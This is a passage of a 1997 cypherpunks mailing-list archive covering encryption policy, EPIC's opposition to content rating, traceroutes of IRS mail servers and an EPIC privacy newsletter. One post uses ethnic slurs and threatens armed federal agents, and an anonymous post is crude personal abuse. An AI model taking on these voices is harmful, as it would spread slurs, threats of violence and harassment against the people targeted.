"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Thu, 24 Jul 1997 10:18:37 +0800
To: cypherpunks@toad.com
Subject: EPIC letter to CNET.COM and the Internet Community (fwd)
Message-ID: <Pine.LNX.3.95.970723215720.11839A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 23 Jul 1997 21:30:26 -0400
From: Marc Rotenberg <rotenberg@epic.org>
To: fight-censorship@vorlon.mit.edu
Cc: chris_barr@cnet.com
Subject: EPIC letter to CNET.COM and the Internet Community



To Mr. Barr of CNET.COM and the Internet Community,

On July 21 Christopher Barr, editor in chief of CNET,
endorsed Internet rating schemes in a column
titled "Rating Online Content Can Work".
http://www.cnet.com/Content/Voices/Barr/072197/index.html

In this column, Mr. Barr says

  A number of groups, including the
  American Civil Liberties Union and the Electronic
  Privacy Information Center, support the use of such
  software on principle, but they also point out that
  filtering software can be used to block any kind of
  content, not just sexually explicit material, and so
  it can end up restricting free speech.

I want to be clear that EPIC, both a plaintiff and counsel in
the challenge to the Communications Decency Act, does not support
the use of blocking software in principle or practice. We do not
support rating systems for the following reasons.

First, we believe that the fundamental purpose of a rating system
-- to allow one person to decide what information another person
may receive -- is contrary to the character of the Internet and
the principles of openness and individuality found in a free society.
Unlike search engines that allow individuals to select information
based on their preferences and desires, rating systems impose one
person's or one organization's viewpoint on another. Such techniques
could be used as easily by governments against citizens and employers
against employees as they could by parents against children, as was
made clear by one of the PICS creators in an early paper on the
topic.

Second, we have already seen rating systems used to block access to
information that could in no reasonable way be considered indecent.
Rating systems have blocked access to political organizations,
medical information, and unpopular viewpoints. In public libraries
and public schools such techniques violate well established First
Amendment freedoms. Such products should be roundly criticized by
Internet publishers, not endorsed.

Third, we believe that over time rating systes are likely to make it
easier -- not more difficult -- for governments around the world to
enforce content-based controls on Internet content. This process is
already underway in many countries which are now considering
PICS-based schemes to implement national content controls. Further,
our reading of the Supreme Court's opinion in Reno V. ACLU is that
content based controls would be upheld in the US once rating
systems and means for age verification and widely available. It
was the nature of the Internet, and not the availability of rating
systems, that produced the wonderful outcome in that case. But
once voluntary standards are in place, statutory controls will
surely follow.

We recognize that the availability of material that some might consider
offensive poses a difficult problem for on-line information providers.
We further recognize that there is indeed some material on the Internet
that is genuinely abhorrent.  But we do not believe you can hide
the world from your children. We should help our children to
understand the world, and then help them make it better. Good
parenting is not something found in a software filter; it takes
time, effort, and interest. And it takes trust in young people to
develop within themselves judgment and reason, and the ability to
tell right from wrong.

We also caution against any efforts to distinguish between bona fide
news organizations and others. The framers of our First Amendment
wisely drew no such distinction, and thus we have avoided the process
of licensing and government approval that othe countries have pursued.
News organizations that today seek to draw such a line may in the
future find themselves placed on the wrong side.

These are difficult issues. It is not easy today to criticize
the ratings proposal which has recently received White House
endorsement.  This fact alone should give those who value
free speech and who opposed the Communications Decency Act
reason to think twice. It is also the reason that we applaud the
American Library Association for its principled opposition to
the use of software filters in libraries.

We hope other organizations will join with EPIC, the ACLU, and
the ALA and recognize that we all  have a common interest in the
protection of intellectual freedom and the openness of the Internet.

We will continue to offer information about the PICS debate at our
web site -- www.epic.org -- so that individuals and organizations
that provide information online can make fully informed decisions
about the desireability of rating systems.

Finally, we hope CNET.COM will reconsider its position on the
rating issue. In the end, it will be the decisions of individual
Internet news organizations and other online publishers that will
determine the openness and accessibility of the Internet for us all.
We share a common interest in preserving the free flow of information
across the Internet.

Sincerely,

Marc Rotenberg, director
EPIC





==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Thu, 24 Jul 1997 13:22:00 +0800
To: cypherpunks@Algebra.COM
Subject: gotcha (was Re: DEATH TO THE TYRANTS)
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: <m2lo2xauzv.fsf_-_@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> Namely, who is "irsnwpr@net.insp.irs.gov" and what does he or she think of
> the "DEATH TO TYRANTS" subject header, sent to me (and maybe others).
 ...
>  The headers in the first of the messages I received were:

> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
> [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
> <tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
 ...
> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
> [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28954 for
> <tcmay@got.net>; Fri, 18 Jul 1997 15:39:39 -0700

If those headers are forged, it is an expert forgery.

The MX hosts for the net.insp.irs.gov domain are fun:
net.insp.irs.gov        preference = 10, mail exchanger = tcs-gateway2.treas.gov
net.insp.irs.gov        preference = 20, mail exchanger = tcs-gateway1.treas.gov
net.insp.irs.gov        preference = 30, mail exchanger = gotcha.treas.gov
irs.gov nameserver = gotcha.treas.gov
irs.gov nameserver = nis.ans.net
irs.gov nameserver = ns.ans.net
tcs-gateway2.treas.gov  internet address = 204.151.246.2
tcs-gateway1.treas.gov  internet address = 204.151.245.2
gotcha.treas.gov        internet address = 204.151.246.80

`gotcha.treas.gov'?  It's a real host connected through ans.net ...

12  h10-1.t32-0.New-York.t3.ans.net (140.223.57.30)  139.839 ms  126.702 ms  125.82 ms
13  h11-1.t56-1.Washington-DC.t3.ans.net (140.223.57.21)  147.248 ms  124.774 ms  118.815 ms
14  f0-0.cnss60.Washington-DC.t3.ans.net (140.222.56.196)  192.54 ms  125.939 ms  166.529 ms
15  enss3080.t3.ans.net (192.103.66.18)  130.917 ms  131.057 ms  145.377 ms
16  gotcha.treas.gov (204.151.246.80)  133.065 ms  134.345 ms  131.596 ms

Except for hop 16, this is the same traceroute as to
tcs-gateway2.treas.gov.  For what it's worth, the traceroute to
tcs-gateway1 is slightly different:

 8  h13-1.t16-0.Los-Angeles.t3.ans.net (140.223.9.14)  44.997 ms  51.526 ms  51.875 ms
 9  h14-1.t112-0.Albuquerque.t3.ans.net (140.223.17.10)  60.895 ms  60.426 ms  57.762 ms
10  h14-1.t64-0.Houston.t3.ans.net (140.223.65.9)  81.131 ms *  85.067 ms
11  h14-1.t80-1.St-Louis.t3.ans.net (140.223.65.14)  117.62 ms  100.623 ms  104.878 ms
12  h10-1.t60-0.Reston.t3.ans.net (140.223.61.13)  126.368 ms  136.017 ms  123.367 ms
13  f2-0.c60-10.Reston.t3.ans.net (140.223.60.220)  129.505 ms  128.214 ms  128.52 ms
14  enss3079.t3.ans.net (204.148.66.66)  134.707 ms  162.912 ms  160.774 ms
15  tcs-gateway1.treas.gov (204.151.245.2)  154.268 ms *  155.898 ms





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 24 Jul 1997 13:30:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <Chameleon.869671376.amp@ampugh.mcit.com>
Message-ID: <v0300781aaffc79480662@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 AM -0700 7/23/97, Tim May wrote:
>And when people repeatedly point out that common criminals, terrorists, and
>the like are unlikely in the extreme to escrow their keys with the
>government...the government shills and officials are silent.

I can't resist.  "When crypto is outlawed, only outlaws will have crypto."
However, in the case of crypto, essentially all terrorists, child
pornographers, big-time drug dealers, and big-time money launderers will
have and use it.

To try to redeem myself for yielding to temptation let me offer the
following scenario:

It is sometime in the year 2002.  The GAK crowd has achieved its wildest
wet dream, and all development of non-GAKed crypto stopped in 1998.  All
the standard computer software uses GAKed crypto.

Let us further assume that US Airframes Inc. (USAI) is in heavy competition
with French Wings Inc. to build the next generation of passenger airplanes.
The competition is so heavy that the respective governments are doing all
they can to provide under-the-table help to their national champions.  This
certainly includes playing the GAK card and decrypting every communication
they can get their hands on.

Now assume you are the security manager of USAI.  Your job is to ensure the
confidentiality of communications between your branch offices and
headquarters in the US.  You get (perhaps from someone who enjoys child
pornography) a copy of PGP which was saved on some forgotten CDROM backup
dating from 1997.  You share your copy with headquarters and the branch
offices, generate key pairs, and validate their MD5 hashes through some
offline protocol.  Now all really sensitive traffic is encrypted with PGP
and then sent through the standard GAK crypto.

Now consider the problem of the French Government.  The only way they can
know you are using illegal crypto is to decrypt the GAKed outer layer.  If
they arrest you for using illegal crypto, they have blown their covert
monitoring.  The US government will make a big international incident about
this misuse of GAK and impose a special tariff on French wine.  If the
French keep quiet, you can continue to use PGP.

This is the classic dilemma of covert decryption.  Kahn describes is well
in "The Code Breakers".  It also applies to the four horsemen.  If the
government arrests someone for illegal crypto, the whole organization knows
that part of the operation has attracted government attention, and can
change their communications and/or have those people take a vacation to
cool off.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 24 Jul 1997 12:25:01 +0800
To: John Young <jya@pipeline.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970723232832.6899C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



It's actually the Secret Service offices that are upstairs from the Time
bureau, on the top floor of the building. Perhaps because we're close
enough to see the White House? Dunno. The only time I went up there was
when they were selling Xmas tree ornaments. 

I have a call into the IRS about this mail, BTW. So far nobody has (or
admits to having) any idea what I'm talking about.

-Declan


On Wed, 23 Jul 1997, John Young wrote:

> 
> BTW, Declan, did you not once write that IRS offices are down the corridor
> from yours? If so, would you care to ask the thieves their opinion of the spam,
> especially if they are the authors, sneaking into your box and lifting lists
> while 
> you're sipping and baseballing with the brokers?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 24 Jul 1997 20:15:48 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970721183800.02930@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970724001910.2504A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > The sending of this email to people Jim has communicated with, if it was 
> > a real mail (I haven`t checked before but other people have and have said 
> > the headers indicate it passed through several .gov hosts), constitutes 
> > cowardly harrasment.
> 
> Oh, right.  If there is anyplace in cyberspace where experts in 
> cowardly harassment by email exist, it is on this list.  Get real.

I never claimed to be above a little cowardly harrasment myself, just 
pointed out that this is the general level at which this mail appeared to 
be. Nor indeed did I say there was anything wrong with cowardly 
harrasment, in it`s place.

> More likely someone at IRS thought they would stir things up a bit, 
> and is having a bit of fun watching all this.  Maybe they even 
> thought they were doing people a favor.

Possibly, the first explanation strikes me as most likely. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 16:23:42 +0800
To: "CST Administration Dept" <admin@CyberSpaceTechnologies.com>
Subject: Re:I have had ENOUGH of this government bullshit!!
In-Reply-To: <199707240727.CAA07675@oceanus.host4u.net>
Message-ID: <3.0.2.32.19970724010956.03171084@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



And you can get PGP outside the US borders from ftp.ox.ac.uk
or any other ftp://ftp.pgp.net/pub/pgp mirror, 
and also in the US at www.pgp.com or pgp.mit.edu.

At 03:27 AM 7/24/97 -0400, CST Administration Dept wrote:
>Screw this. I have finally blown my stack over this bullshit governmental
>crap. From this oint forward, I fully and completely make available, 
>IN THE U.S, the International version of PGP 2.63.ix.
...
>	ftp://ftp.cyberspacetechnologies.com/pub/pgp/pgp263ix.zip
>  Here is my homepage, http://www.cyberspacetechnologies.com
>You can find anything you wnat about Cyrptography, General Encryption
>Information, PGP, Anonymous Remailing, PGP and Cryptography Newsgroups, and
>chat real time with folks from here. If you Feds don't want people like me
>making shit like this avaliable, then come get me. (Excuse the rant folks,
>but this shit is REALLY pissing me off!) McCain, take your Secured Public
>Networks Act and shut it up your ass!



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 24 Jul 1997 17:10:02 +0800
To: cypherpunks@Algebra.COM
Subject: All the lonely sheeple...
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <19970724015808.65289@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



>On Wed, Jul 23, 1997 at 08:47:18AM -0400, William H. Geiger III wrote:
>In <19970723010939.51681@bywater.songbird.com>, on 07/23/97 
>   at 01:09 AM, Kent Crispin <kent@songbird.com> said:
>
>>Yes, Tim talks a brave talk.  But, though the parameters of his  slavery
>>are different than most of ours, he is part of the flock,  nonetheless. 
>
>Well Kent I think that there are distinct differences between someone like
>Tim who dislikes his slavery and is actively working to remove his bonds
>and others like yourself who not only like the "security" of being
>inslaved but wish more chains to be put on us all.
>
>Tim may be part of the "flock" but only because their is a gun to his head
>while youself would be a sheeple even if the slavemasters were gone.

It's a sad commentary on human nature that so many people need an
enemy they can despise, isn't it?

You and Tim and the rest of the narrow minded bigots that fancies
themselves as the "cryptoanarchy elite" -- you go on and on: "Yes, those
goddamn SHEEPLE, those braindead subhuman parasites of true humanity,
that suck the blood of right-thinking productive individuals.  Yes,
the SHEEPLE, that mass of unthinking blind vermin that might as well
be removed from the face of the earth.  They aren't HUMAN.  We're sure
glad we're not like them! Where's that nuclear disinfectant when you
need it?".  All the time congratulating yourselves on your
independence of mind, how you've managed to free yourselves from the
"rat race choir"... 

Welcome to the cryptoanarchy choir!

I was pointing out that fundamentally, Tim's example of the "corporate
types" is vacuous and hypocritical -- he modulates his self-expression
just as much as they do -- but hell, we *all* modulate our
self-expression to preserve our livelihood, at some level or another
-- even Tim McVeigh lets his lawyer do his talking... 

As far as Tim (or you) knows every single one of those "corporate
types" dislikes their slavery just as much as he does, and is working
just as hard as he is to remove their bonds.  Everybody works within
their constraints. 

Tim says in another message that apparently I am dissing him as a
hypocrite because he isn't out blowing up buildings.  No.  He's a
hypocrite because he roars criticism at the sheeple without applying
those same standards to himself.  It's more than the lazy habit of
scapegoating -- it's an active and contemptible use of we-vs-them
demagoguery.

I honor and respect integrity, William.  Even more, I honor and
respect those who keep their strongest criticisms for themselves.  To
paraphrase Nietzsche, in this regard the self-defined "cryptoanarchy
elite" are "not even shallow". 


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 24 Jul 1997 18:01:53 +0800
To: cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <19970724023449.58782@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
[...]
> And, yes, all of this privacy loss happens because somebody decided
> it was convenient to put a car-ownership-tax receipt on the outside
> of a car so police can quickly decide if you've paid your taxes...
> The rest of it's just implementation details.

Of course, you could just confine your driving to private roads, and
leave the license plate off. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "CST Administration Dept" <admin@CyberSpaceTechnologies.com>
Date: Thu, 24 Jul 1997 15:45:07 +0800
To: <cypherpunks@toad.com>
Subject: Re:I have had ENOUGH of this government bullshit!!
Message-ID: <199707240727.CAA07675@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain





Screw this. I have finally blown my stack over this bullshit governmental
crap. From this oint forward, I fully and completely make available, IN THE
U.S, the International version of PGP 2.63.ix.
If there are any cops, Feds, Spies, wops, spics, gigaboos, alternate
lifestyles, punks, crackers, crackheads, whatever other name calling terms,
I left out,    want to stop me --- TRY!!!! This is bullshit people! We have
the inalieable right to full and total screcy, privacy, and personal
protection of whatever  * W E *  determine to be private information. The
government has gotten out of hand with this shit. If you are a member of the
F.B.I, C.I.A, S.S, N.S.A, X.Y.Z community and you don't like this action,
show up at my doorstep guns drawn. Cause you show up at MY door step, you'll
need them! That I promise!

To download the International version of PGP 2.93.ix within the U.S borders,
go here-------->> ftp://ftp.cyberspacetechnologies.com/pub/pgp/pgp263ix.zip

  Here is my homepage, http://www.cyberspacetechnologies.com
You can find anything you wnat about Cyrptography, General Encryption
Information, PGP, Anonymous Remailing, PGP and Cryptography Newsgroups, and
chat real time with folks from here. If you Feds don't want people like me
making shit like this avaliable, then come get me. (Excuse the rant folks,
but this shit is REALLY pissing me off!) McCain, take your Secured Public
Networks Act and shut it up your ass!
I'm done.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "CST Administration Dept" <admin@CyberSpaceTechnologies.com>
Date: Thu, 24 Jul 1997 16:38:47 +0800
To: "Bill Stewart" <stewarts@ix.netcom.com>
Subject: Re: Re:I have had ENOUGH of this government bullshit!!
Message-ID: <199707240820.DAA16747@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain



>And you can get PGP outside the US borders from ftp.ox.ac.uk
>or any other ftp://ftp.pgp.net/pub/pgp mirror,
>and also in the US at www.pgp.com or pgp.mit.edu.
>
That is true, but with the MIT setup, you have to certify that you are a US
citizen and that you won't export it. Also, there are lots of folks who have
trouble with the overseas downloads. I just plan on making it available for
those in the US that want an independent site with out all the rig an
mirole.  Besides, I guesss this is just my own way of showing MY government
who I worked for for 8 years that I won't take it anymore. This is my way of
firmly placing myself in the Pro-Encryption camp. That means that their
enemies are mine now. And if the government wants to be my enemy, then it is
their choice. I served 8 years in the Army protecting our interests. One of
them was our Consitution and our Bill of Rights. This is ALSO my my of
letting them know that I will not tolerate them walking all over those core
items anymore without a fight.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 24 Jul 1997 22:48:22 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707241418.HAA06215@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy May's 16Kb brain's single convolution is 
directly wired to his rectum for input and his T1 
mouth for output. That's 16K bits, not bytes. Anal 
intercourse has caused extensive brain damage.

  o o Timmy May
   o
  \_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 23:28:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <v03102800affc86bdca7e@[207.167.93.63]>
Message-ID: <v03102802affd225e61fa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:03 AM -0700 7/24/97, Ray Arachelian wrote:

>For one thing, I suggest we setup a nice big form letter and spam them
>back with it stating that we do not condone spamming and that we intend to
>sue their asses for using our private emails to distribute government
>propaganda.  (The quartering of soldiers and all that shit would be a nice
>constituional point to include.)  Any lawyer like folk willing to write up
>such a beast?  I'd gladly attach my email address to it as it's being
>sent.

Well, we've had this disagreement before. They, the IRS, have as much right
to use e-mail addresses as anyone else. "Unrequested mail" is not spam.

As for suing them, on what basis?

I think it mildly worrisome, and _potentially_ evidence of threatening
behavior, to send out press releases to those who are not parties to the
Bell matter and are not known to be reporters or media outlets, but this
all remains to be shown.

And of course it may be embarassing to the IRS to be sending out e-mail
with the subject header "DEATH TO TYRANTS." (Note that it was not "Re:
DEATH TO TYRANTS.")

A sentiment I agree with, of course, but I didn't think they did. Maybe
there's one of us inside the Beast? Maybe he's been reading the threads on
how to acquire Semtex?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Jul 1997 00:31:51 +0800
To: cypherpunks@toad.com
Subject: EPIC Alert 4.11 (fwd)
Message-ID: <Pine.GSO.3.95.970724091421.25014D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 08:10:31 -0400
From: Dave Banisar <banisar@epic.org>




   ==============================================================

       @@@@  @@@@  @@@  @@@@      @    @     @@@@  @@@@  @@@@@
       @     @  @   @   @        @ @   @     @     @  @    @
       @@@@  @@@    @   @       @@@@@  @     @@@   @@@     @
       @     @      @   @       @   @  @     @     @  @    @
       @@@@  @     @@@  @@@@    @   @  @@@@  @@@@  @   @   @

   ==============================================================
   Volume 4.11	                                 July 23, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/

=======================================================================
Table of Contents
=======================================================================

[1] AOL to Sell Subscriber Telephone Numbers
[2] Search Engine Rating Scheme Touted at White House
[3] Another House Committee Approves SAFE Crypto Bill
[4] FTC Acts on Kids' Privacy
[5] Cellular Phone Group Asks FCC to Set Wiretap Standards
[6] New Bills in Congress
[7] New at the EPIC Bookstore
[8] Upcoming Conferences and Events

=======================================================================
[1] AOL to Sell Subscriber Telephone Numbers
=======================================================================

In a quiet change to its privacy policy, America Online will soon be
adding subscriber phone numbers to the list of personal information that
it sells to direct marketers.  The company may also match member lists
against "publicly available third-party data" to develop lists for
outside direct mail opportunities.  Previously, AOL's privacy policy
prevented the disclosure of subscriber telephone numbers, while allowing
the company to sell member names and addresses.

The new policy, which is to take effect on July 31, can be found in the
relatively obscure "Terms of Service" area of the online service.  No
notice of the new policy has been provided on the "Welcome" screen where
new AOL features are typically announced.  The revised policy states that

     We make our mailing list (name and address) available to
     select independent companies that offer products and information
     we think may interest you.  Additionally, we may make the list
     with telephone numbers available to companies with which AOL,
     Inc. has contractual marketing and online relationships for the
     purpose of permitting such companies to offer products and
     services over the telephone.  AOL, Inc. may also match the
     Member lists against publicly available third-party data
     (demographic information, areas of interest, etc.) to develop
     lists for use by these companies.

The new policy, which is to take effect on July 31, also points out that
AOL discloses individual information in an aggregated form in order to
describe its services to prospective partners, advertisers and other
third parties.  AOL may also use publicly available third-party data such
as demographic information and areas of interest to assist AOL in their
"programming, editorial research and to offer special opportunities to
our Members."

While AOL will generally not disclose "navigational" or "transactional"
information (such as where you go or what you buy through AOL) to third
parties, it may use such information to develop member lists for
companies with which AOL has a contractual marketing relationship.

For years (and most recently before the Federal Trade Commission),
industry has argued that self-regulation and not legislation is the only
way to ensure that businesses protect individual privacy in electronic
media.  If AOL's new privacy policy is representative of industry's
vision of what self regulation entails, users may have real cause for
concern.

More information on online privacy is available at:

     http://www.epic.org/privacy/

=======================================================================
[2] Search Engine Rating Scheme Touted at White House
=======================================================================

Leading industry groups suggested on July 16 that they may exclude
material from widely used search engines unless the authors agree to
attach subjective rating labels to all web pages and other online
information. Less than three weeks after the Supreme Court struck down
the Communications Decency Act, a far more sweeping proposal to restrict
information available on the Internet -- "filtering," "blocking" and
rating online content -- was touted at a White House summit meeting.

Announcing the Administration's "Strategy for a Family Friendly
Internet," President Clinton described the private sector initiative that
will presumably preclude the need for new content-control legislation:

     For ["family-friendly"] controls to work to their full
     potential, we also need to encourage every Internet site,
     whether or not it has material harmful for young people, to
     label its own content as the Vice President described just a
     few moments ago. To help to speed the labeling process along,
     several Internet search engines -- the Yellow Pages of
     cyberspace, if you will -- will begin to ask that all Web
     sites label content when applying for a spot in their
     directories.

     I want to thank Yahoo, Excite and Lycos for this important
     commitment. You're helping greatly to assure that self-
     labeling will become the standard practice. And that must
     be our objective.

While such an approach might seem preferable to CDA-type legislation at
first glance, it raises the specter of an Internet where only the
equivalent of "PG" rated content could be found through the search
engines users have come to depend on.  EPIC is encouraging users to
contact the search services and oppose such rating requirements as
fundamentally at odds with free speech principles.

More information on filtering/blocking/rating, and contact information
for the major search engines, is available at:

     http://www.epic.org/free_speech/censorware/

=======================================================================
[3] Another House Committee Approves SAFE Crypto Bill
=======================================================================

The House International Relations Committee approved the SAFE encryption
bill on July 22.  The legislation, which had already been approved by the
House Judiciary Committee, would substantially relax U.S. export controls
on encryption.  By a vote of 22-13, the committee rejected an amendment
offered by Chairman Benjamin Gilman (R-NY) that would have permitted the
President to maintain strict controls on the technology upon a finding
that "the export of such items would adversely affect the national
security."

The Committee's rejection of Gilman's amendment was particularly
significant, given that top officials from the FBI, National Security
Council and the Drug  Enforcement Agency took the unusual step of
appearing before the panel to warn that use of encryption by criminals
would hamper their ability to fight crime.  Secretary of Defense William
Cohen also transmitted a written appeal to the Committee members in which
he urged rejection of the SAFE bill.

While encryption reform efforts have moved forward in the House,
prospects in the Senate are less promising.  On June 18, the Senate
Commerce Committee approved the Secure Public Networks Act (S. 909),
which was introduced by Sens. Bob Kerrey (D-NE) and John McCain (R-AZ).
That bill contains a number of coercive measures that would force
widespread domestic adoption of key escrow encryption techniques

The SAFE bill will now be considered by the Commerce, National Security,
and Intelligence committees in the House, which are expected to vote on
the legislation by early September.

More information on the SAFE bill is available at:

     http://www.epic.org/crypto/

=======================================================================
[4] FTC Acts on Kids' Privacy
=======================================================================

The Federal Trade Commission has found that a web site which collects
data from kids and then sells it without notice is engaging in a
deceptive business practice in violation of the Federal Trade Commission
Act.

The Center for Media Education brought the complaint against KidsCom on
May 13, 1996, charging that the popular children's Web site was using
deceptive and unfair practices to market to children.  CME filed the
petition in an effort to address the growing problem of deceptive and
unfair marketing practices targeting children on the Web.

The Commission's action marks the first formal articulation of policy by
the agency's Bureau of Consumer Protection regarding what is permissible
when marketing to children online.  The FTC letter sets out broad
principles that apply generally to online information collection from
children. The FTC stated that:

     A practice is unfair under Section 5 if it causes, or is likely
     to cause, substantial injury to consumers which is not reasonably
     avoidable and is not outweighed by countervailing benefits to
     consumers or competition.(11) We believe that it would likely
     be an unfair practice in violation of Section 5 to collect
     personally identifiable information, such as name, e-mail
     address, home address or phone number, from children and
     sell or otherwise disclose such identifiable information to
     third parties without providing parents with adequate notice,
     as described above, and an opportunity to control the
     collection and use of the information.

Because KidsCom changed the operation of its website after the CME
complaint was filed, the FTC said that it would take no enforcement
action. The FTC letter concluded:

     We will continue to monitor KidsCom, as well as other
     commercial Web site operators, to ascertain whether they may
     be engaged in deceptive or unfair practices. Hereafter, staff
     may recommend law enforcement proceedings against marketers
     who engage in deceptive information practices, or who unfairly
     use personally identifiable information collected from
     children.

FTC Letter Ruling is available at:

     http://www.ftc.gov/os/9707/cenmed~1.htm

CME Statement is available at:

     http://tap.epn.org/cme/ftc716.html

=======================================================================
[5] Cellular Phone Group Asks FCC to Set Wiretap Standards
=======================================================================

The Cellular Telephone Industry Association (CTIA) on July 16 asked the
Federal Communications Commission to step in to help develop the
standards for wiretapping under the Communications Assistance for Law
Enforcement Act (CALEA).  The telephone industry and the FBI have been
quietly meeting for two years to develop the new standards required by
the law.  The CTIA is objecting to additional FBI demands not included in
the law such as that cellular phones function as tracking devices.

In a July 15 letter to FBI Director Louis Freeh, the head of CTIA, Thomas
Wheeler, called the FBI position "intractable" and detailed how FBI and
law enforcement objections prevent an industry-sponsored standard from
being adopted.  In response, the Bureau called the CTIA action a "short
circuit" of the standards process and denied that it was seeking
additional powers.  Both the industry position and the FBI demands are
problematic from a privacy perspective, as both would facilitate easier
wiretapping and the collection of transactional information.

CALEA requires that all telecommunications providers redesign their
systems by October 1998 to make wiretapping of new communications
technologies easier.  Phone companies are eligible to receive $500
million from the FBI to implement the new systems.

More information on CALEA and wiretapping is available from:

     http://www.epic.org/privacy/wiretap/

=======================================================================
[6] New Bills in Congress
=======================================================================

H.R. 2180. On-Line Copyright Liability Limitation Act.  Would limit
liability for online service providers that are not aware that
copyrighted materials are going over their networks.  Introduced by Rep.
Coble (R-NC) on July 16. Referred to the Committee on the Judiciary.

H.R.2198.  Genetic Privacy and Nondiscrimination Act of 1997.  Would
limit use and disclosure of genetic information by health insurance
companies; prohibit employers from attempting to acquire, or to use,
genetic information, or "to require a genetic test of an employee or
